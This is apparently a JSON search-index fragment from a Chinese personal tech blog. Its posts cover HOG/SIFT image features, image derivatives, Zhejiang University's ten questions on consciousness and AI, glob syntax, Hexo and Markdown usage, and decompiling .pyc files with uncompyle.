视觉系统的准确性、稳健性和效率在很大程度上取决于图像特征，和分类器的质量。因此，目标是从输入图像中提取信息丰富的、可靠的特征，以便能够开发出很大程度上独立于领域理论的分类。 特征特征是任何独特的方面或特性，用于解决与特定应用相关的计算任务。 n 个特征的组合可以表示成 n 维向量，称为特征向量。特征向量的质量取决于其区分不同类别的图像样本的能力。 来自同一类的图像样本应该有相似的特征值，来自不同类的图像应具有不同的特征值。 分类器分类器是现代计算机视觉和模式识别的核心。 分类器的任务是使用特征向量对图像或感兴趣区域（RoI）划分类别。 分类任务的困难程度取决于来自相同类别的图像的特征值的可变性，以及相对于来自不同类别图像的特征值的差异性。 但是，完美的分类性能通常是不可能的。这主要是因为： 噪声（以阴影、遮挡、透视扭曲等形式） 异常值 模糊性 缺少标签 仅有小训练样本可用 训练数据样本中正 / 负覆盖的不平衡 传统特征描述符传统（手工设计）特征提取方法可分为两大类： 全局 局部 全局特征提取方法定义了一组有效描述整个图像的全局特征。因此形状细节被忽略。全局特征也不适用于识别部分遮挡的对象。 局部特征提取方法提取关键点周围的局部区域，由此可以更好的处理遮挡。 检测关键点，并在他们周围构建描述符的方法： 局部描述符（如 HOG、SIFT、SURF、FREAK、ORB、BRISK、BRIEF、LIOP） 方向梯度直方图HOG 是一个特征描述符，用于自动检测图像中的对象。HOG 描述符对图像中局部部分的梯度方向的分布进行编码。 HOG 背后的想法是可以通过边缘方向的直方图来描述图像内的对象外观和形状。 1. 梯度计算第一步是计算梯度值。在图像的水平和垂直方向上，执行一维中心点离散微分模板。具体的说，该方法需要用以下滤波器内核处理灰度图像： 因此给定一个图像，以下卷积操作（表示为 ）得出图像在和方向的导数： 因此，梯度的方向和梯度的大小计算如下： CNN 也在层中使用卷积运算，然而主要区别在于不使用手工设计的滤波器，CNN 使用可训练的滤波器，使其具有高度的自适应性。 CNN 也在层中使用卷积运算，然而主要区别在于不使用手工设计的滤波器，CNN 使用可训练的滤波器，使其具有高度的自适应性。 2. 单元方向直方图第二步是计算单元直方图。首先将图像分成小的（通常是 8X8 像素）单元。每个单元都有固定数量的梯度方向区间，他们均匀分布在 。或 。之间，具体取决于梯度是有符号的还是无符号的。 单元内的每一个像素基于该像素处梯度的模对每一个梯度方向区间偷加权票。对于投票权重，可以是梯度大小，梯度大小的平方根或梯度大小的平方。 3. 描述符块为了处理光照和对比度的变化，通过将单元组合在一起形成更大的空间上相连的块，局部的归一化梯度强度。然后，HOG 描述符是来自所有块区域内的、归一化的单元直方图部件的向量。 4. 块的归一化最后一步是块描述符的归一化。设 v 是包含给定块中所有直方图的非归一化向量，‖为它的 (k) 阶范数（(k = 1,2) ），(\\epsilon) 是一个小常量。归一化因子可以是如下之一： 范数或者 范数或者 范数平方根还有另一个归一化因子 L2-Hys, 它通过削减 v 的 L2 范数得到（将 v 的最大值限制为 0.2），然后重新归一化。 最终的图像 / RoI 描述符是通过连接所有归一化的块描述符而形成的。 L2 范数、L2-Hys 和 L1 范数平方根（L1-sqrt）归一化方法提供了类似的性能，而 L1 范数提供了可靠性稍差的性能。 尺度不变特征变换SIFT [Lowe,2004] 提供了一组对象的特征，这些特征对于对象缩放和旋转是健壮的。 SIFT 算法由四个主要步骤组成。 1. 尺度空间的极值侦测第一步旨在确定对缩放和方向不变的潜在关键点。 SIFT 使用高斯差分（DoG）来检测尺度空间中关键点中的位置。 高斯差分是将两个不同尺度的图像（其中一个尺度为,另一个是其 k 倍，即 ）的高斯模糊进行差分得到的。 2. 关键点精确定位3. 方向定位4. 关键点描述符","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}]},{"title":"图像导数","slug":"ml/图像导数","date":"2019-09-12T02:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/9bc3b11e/","permalink":"https://blog.mhuig.top/p/9bc3b11e/","excerpt":"","text":"在图像中，边缘可以看做是位于一阶导数较大的像素处，因此，我们可以求图像的一阶导数来确定图像的边缘，像 sobel 算子等一系列算子都是基于这个思想的。 如下图 a 表示函数在边沿的时候关系，求导得 b 图，可知边沿可就是函数的极值点，对应二阶导数为 0 处，如图 c 的二阶导图。 关于导数总结如下： （1）一阶导数通常图像中产生较粗的边缘 （2）二阶导数对精细细节，如细线、孤立点和噪声有较强的响应 （3）二阶导数在灰度斜坡和灰度台阶过度处会产生双边沿响应 （4）二阶导数的符号可以确定边缘的过渡是从亮到暗还是从暗到亮 （5）选导数提取边沿之前最好是做下图像的平滑，导数对噪声比较敏感","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}]},{"title":"意识、脑与人工智能 十大科学问题","slug":"ml/意识、脑与人工智能十大科学问题","date":"2019-09-12T00:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/c270974/","permalink":"https://blog.mhuig.top/p/c270974/","excerpt":"","text":"2018 年 9 月，浙江大学发布 “双脑计划”，布局脑科学与人工智能的会聚研究，聚集全校生命科学、信息科学、物质科学和哲学社会科学众多领域的专家学者，开启探索脑认知、意识及智能的本质和规律。2019 年 4 月，浙江大学召开 “意识、脑与人工智能” 圆桌论坛，吴朝晖院士、段树民院士与倪梁康教授（文科资深教授）分别围绕 “意识” 问题，从计算机科学、脑科学、哲学角度作主旨报告，提出了一系列具有挑战性的跨学科问题。在此基础上，浙江大学 “双脑计划” 相关团队组织哲学、计算机科学、神经与脑科学、心理学、社会学等领域专家，聚焦意识与脑、意识与人工智能方面的重大问题，经过反复讨论、不断碰撞、深入凝练，最终提出了十大具有前沿性、挑战性的科学问题，旨在引领国内外学术界的思考，推动意识、脑与人工智能交叉领域的研究。 “意识、脑与人工智能” 十大科学问题一、意识的生物学基础是什么？意识曾仅是哲学家的研究领域，但随着神经科学发展，科学家逐渐参与到意识本质的研究中。目前大部分观点认为，意识产生的物质基础是神经元，其生物学基础是脑中多个神经网络间的相互作用；也有研究认为意识的产生由相对独立的脑结构（称为意识开关）来主导。意识的生物学基础是什么，及其衍生出来的一系列问题有待进一步探究。例如，意识产生的物质基础是否唯一，能否在神经元以外的物质载体上制造出意识等。 二、“人工意识” 是否可能？从人工智能向人工意识的发展，必须考虑将人工情感和人工意欲的因素纳入人工意识和人工心灵系统的可能性。可尝试通过对神经回路的复杂性的把控来解决所有类型的意识涌现（表象、情感、意志）的复杂性，并在神经系统中找到作为意识之自身觉知（qualia）的对应项。 三、机器如何理解人类的情感表达？在人机共生社会，需要解决机器人与人类的自然交互问题，以使得机器人可以真正融入人们的生活，产生共情、共鸣和自然的社会行为。其中一个重要的挑战是机器如何理解人类的情感表达。 四、强人工智能的心理机制是什么？弱人工智能在解决特定领域问题中，展现出了强大到可以比肩甚至超越人类的能力，但也暴露出通用性弱、学习效率低等一系列问题。解决这些问题需要回归强人工智能的 “初心”，即研究人类智能的心理机制是什么，探索人类为何能利用有限的算力实现通用智能、如何在小数据条件下完成高效学习等问题。 五、意识的信息机制是什么？意识是指一个人体验自身存在的能力，而不仅仅是记录或者像机器人那样对刺激做出反应。研究意识的信息处理机制，需要重点关注信息处理的主观性（subjective）、结构性（structured）、特有性（specific）、统一性（unified）和确定性（definitive）等问题。 六、脑机融合能否实现超级智能？脑机融合是基于脑机接口技术，实现脑与机的双向交互、相互适应及协同工作，最终达到生物智能和机器智能的融合，其目标是实现更强大的智能形态。鉴于机器智能与人类智能的互补性，如何实现生物智能和机器智能的互联互通，融合各自所长，创造出性能更强的智能形态是核心问题。 七、情绪情感的脑机制是什么？情绪是个体对一定程度的复杂情况做出反应的特定状态。情绪情感的产生涉及感觉、知觉、动机、奖赏、评估、感觉 - 行为转换等多种脑功能，并参与修饰和调控记忆及相关认知过程。人类智慧的形成和复杂社会体系的建立，均与情绪情感程序的进化和固化有关。情绪情感相关精神疾病也在持续和广泛地困扰人类社会。因此，研究情绪情感的脑机制是脑科学研究领域最令人兴奋的方向之一，其研究成果也将为相关精神疾病的诊断和治疗提供新的策略和手段。 八、学习的生物学基础是什么？动物需要适应环境变化，而学习就是神经系统把环境信息转变成经验的编码过程，与学习密切相关的记忆则是神经系统对这些经验的存储和提取的过程。研究学习记忆的神经生物学机制是神经科学领域至关重要的研究方向，也是阐明认知功能障碍的关键。 九、潜意识的脑科学机制是什么？潜意识指 “已然发生但并未达到意识水平的心理活动过程或内容”，被认为是最复杂的心理现象，可能成为阐明人类意识大脑机制的突破口。随着认知神经科学和脑科学等交叉学科研究的发展，以及脑图谱技术、基因技术的进步，对潜意识的脑科学机制研究可能会有更大的突破。 十、人类决策的脑处理机制是什么？决策脑机制的研究日益受到重视，但决策偏好的神经机理还远未被揭开。系统探究决策脑机制，不仅有助于揭示决策者价值权衡过程的神经基础，还能为基于神经信号预测人的决策倾向，以及诊治决策异常相关脑疾病提供科学研究依据。 参考文献浙江大学面向 2030 的学科会聚研究计划（创新 2030 计划）“意识、脑与人工智能” 十大科学问题","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"人工智能","slug":"人工智能","permalink":"https://blog.mhuig.top/tags/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"},{"name":"脑科学","slug":"脑科学","permalink":"https://blog.mhuig.top/tags/%E8%84%91%E7%A7%91%E5%AD%A6/"}]},{"title":"Glob 表达式","slug":"web/glob表达式","date":"2019-09-11T13:05:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/55b264de/","permalink":"https://blog.mhuig.top/p/55b264de/","excerpt":"","text":"glob 是 shell 使用的路径匹配符，类似于正则表达式，但是与正则表达式不完全相同。在 linux 操作中如文件匹配等等其实已经使用了 glob 通配符。由于其在路径匹配方面的强大，其他语言也有相应的实现。我在使用基于 node 的 gulp 时遇到 glob 匹配文件路径，于是顺便整理一下 glob 的基础语法和使用。 glob 表达式 (glob expressions) 通配符：* 匹配文件路径中的0个或多个字符，但**不会匹配路径分隔符，除非路径分隔符出现在末尾。** 匹配路径中的0个或多个目录及其子目录，如果出现在末尾，也能匹配文件。? 匹配文件路径中的一个字符(不会匹配路径分隔符)。[...] 匹配方括号中出现的字符中的任意一个，当方括号中第一个字符为 ·^ 或 ! 时，则表示不匹配方括号中出现的其他字符中的任意一个。!(pattern|pattern|pattern) 匹配任何与括号中给定的任一参数都不匹配的。?(pattern|pattern|pattern) 匹配括号中给定的任一参数0次或1次。+(pattern|pattern|pattern) 匹配括号中给定的任一参数1次或多次。*(pattern|pattern|pattern) 匹配括号中给定的任一参数0次或多次。@(pattern|pattern|pattern) 匹配括号中给定的任一参数1次。 用实例来加深理解： * 能匹配 a.js , x.y , abc , abc/ ，但不能匹配 a/b.js*.* 能匹配 a.js , style.css , a.b , x.y*/*/*.js 能匹配 a/b/c.js , x/y/z.js ，不能匹配 a/b.js , a/b/c/d.js** 能匹配 abc , a/b.js , a/b/c.js , x/y/z , x/y/z/a.b ，能用来匹配所有的目录和文件**/*.js 能匹配 foo.js , a/foo.js , a/b/foo.js , a/b/c/foo.jsa/**/z 能匹配 a/z , a/b/z , a/b/c/z , a/d/g/h/j/k/za/**b/z 能匹配 a/b/z , a/sb/z ，但不能匹配 a/x/sb/z ，因为只有单 ** 单独出现才能匹配多级目录?.js 能匹配 a.js , b.js , c.jsa?? 能匹配 a.b , abc ，但不能匹配 ab/ ，因为它不会匹配路径分隔符[xyz].js 只能匹配 x.js , y.js , z.js ，不会匹配 xy.js , xyz.js 等，整个中括号只代表一个字符[^xyz].js 能匹配 a.js , b.js , c.js 等，不能匹配 x.js , y.js , z.js 当有多种匹配模式时可以使用数组： // 使用数组的方式来匹配多种文件gulp.src([ 'js/*.min.js', 'sass/*.min.css' ]) 使用数组的方式还有一个好处就是可以很方便的使用排除模式，在数组中的单个匹配模式前加上 ! 即是排除模式，它会在匹配的结果中排除这个匹配，要注意一点的是不能在数组中的第一个元素中使用排除模式： // 使用数组的方式来匹配多种文件gulp.src(['*.js','!b*.js']) // 匹配所有js文件，但排除掉以b开头的js文件gulp.src(['!b*.js',*.js]) // 不会排除任何文件，因为排除模式不能出现在数组的第一个元素中 此外，还可以使用展开模式。展开模式以花括号作为定界符，根据它里面的内容，会展开为多个模式，最后匹配的结果为所有展开的模式相加起来得到的结果。展开的例子如下： a {b,c} d 会展开为 abd,acd a {b,} c 会展开为 abc,ac a {0..3} d 会展开为 a0d , a1d , a2d , a3d a {b,c {d,e} f} g 会展开为 abg , acdfg , acefg a {b,c} d {e,f} g 会展开为 abdeg , acdeg , abdeg , abdfg","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Linux","slug":"操作系统/Linux","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/"}],"tags":[{"name":"shell","slug":"shell","permalink":"https://blog.mhuig.top/tags/shell/"},{"name":"通配符","slug":"通配符","permalink":"https://blog.mhuig.top/tags/%E9%80%9A%E9%85%8D%E7%AC%A6/"}]},{"title":"","slug":"notes/OS","date":"2019-09-10T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-os/","permalink":"https://blog.mhuig.top/p/notes-os/","excerpt":".fa-secondary{opacity:.4} OS 开始阅读","text":".fa-secondary{opacity:.4} OS 开始阅读 OS","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"OS","slug":"操作系统/OS","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/OS/"}],"tags":[{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"Hexo 命令及 Markdown 语法","slug":"web/Hexo命令及Markdown语法","date":"2019-09-05T03:33:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/f8d2d5ec/","permalink":"https://blog.mhuig.top/p/f8d2d5ec/","excerpt":"hexo 是使用 Markdown 编辑文章的，我写的这些文章也都是用这种标记语言完成的。所以，我们先从 Markdown 说起。","text":"hexo 是使用 Markdown 编辑文章的，我写的这些文章也都是用这种标记语言完成的。所以，我们先从 Markdown 说起。 前言你可以使用 vim 工具直接编辑 md 文件，也可以用记事本打开 md 文件编辑你的文章，也可以 Markdown 的编辑器编写，有很多在线的编辑器，何有不少客户端的编辑器. 什么是 MarkdownMarkdown 是一种轻量级标记语言，创始人为约翰・格鲁伯和亚伦・斯沃茨。它允许人们 “使用易读易写的纯文本格式编写文档，然后转换成有效的 XHTML 文档”。 —— 维基百科 先简单介绍一下，Markdown 的语法，具体怎么用，我相信大家一看例文就马上明白了。 Markdown 语法1、分段： 两个回车 2、换行 两个空格 + 回车 3、标题 # ~ ###### 井号的个数表示几级标题，即 Markdown 可以表示一级标题到六级标题 4、引用 > 5、列表 * ， + ， - ， 1. ，选其中之一，注意后面有个空格 6、代码区块 四个空格 开头 7、链接 [文字](链接地址) 文字 8、图片 ![](图片地址) //图片地址可以是本地路径，也可以是网络地址 9、强调 **文字** ， __文字__ ， _文字_ ， *文字* 文字 ， 文字 ， 文字 ， 文字 10、代码 ```，`` hexo 常用命令我们在前面的已经略微的接触了一些 hexo 的命令，如 hexo new \"my blog\" ， hexo server 等。下面来介绍一下我们经常会用到的 hexo 命令 1、新建 hexo new \"my blog\" 新建的文件在 hexo/source/_posts/my-blog.md 2、生成静态页面 hexo g 一般部署上去的时候都需要编译一下，编译后，会出现一个 public 文件夹，将所有的 md 文件编译成 html 文件 3、开启本地服务 hexo s 这个命令，我之前已经用过了，开启本地 hexo 服务用的 4、部署 hexo d 部署到 git 上的时候，需要用这个命令 5、清除 public hexo clean 当 source 文件夹中的部分资源更改过之后，特别是对文件进行了删除或者路径的改变之后，需要执行这个命令，然后重新编译。","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"Hexo","slug":"Web/Hexo","permalink":"https://blog.mhuig.top/categories/Web/Hexo/"}],"tags":[{"name":"Markdown","slug":"Markdown","permalink":"https://blog.mhuig.top/tags/Markdown/"}]},{"title":"","slug":"notes/51","date":"2018-12-01T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-51/","permalink":"https://blog.mhuig.top/p/notes-51/","excerpt":".fa-secondary{opacity:.4} 51 开始阅读","text":".fa-secondary{opacity:.4} 51 开始阅读 51","categories":[{"name":"51","slug":"51","permalink":"https://blog.mhuig.top/categories/51/"}],"tags":[{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"},{"name":"单片机","slug":"单片机","permalink":"https://blog.mhuig.top/tags/%E5%8D%95%E7%89%87%E6%9C%BA/"}]},{"title":"pyc 文件反编译到 Python 源码","slug":"Python/pyc文件反编译到Python源码","date":"2018-12-01T08:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/14fa5bba/","permalink":"https://blog.mhuig.top/p/14fa5bba/","excerpt":"","text":"pyc 文件反编译到 Python 源码 使用 uncompyle 项目地址：https://github.com/wibiti/uncompyle2 注： 按照官方文档的说法应该是只支持 python 2.7，其他版本我也没有测试 安装最方便的就是使用 pip 安装 pip install uncompyle 使用方法查看帮助uncompyle6 --help 将 models.pyc 反编译成 py 文件uncompyle6 models.pyc > models.py 将当前文件夹中所有的 pyc 文件反编译成后缀名为.pyc_dis 的源文件uncompile -o . *.pyc","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"}],"tags":[{"name":"反编译","slug":"反编译","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E7%BC%96%E8%AF%91/"}]},{"title":"","slug":"notes/Cryptography","date":"2018-11-29T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-cryptography/","permalink":"https://blog.mhuig.top/p/notes-cryptography/","excerpt":".fa-secondary{opacity:.4} Cryptography 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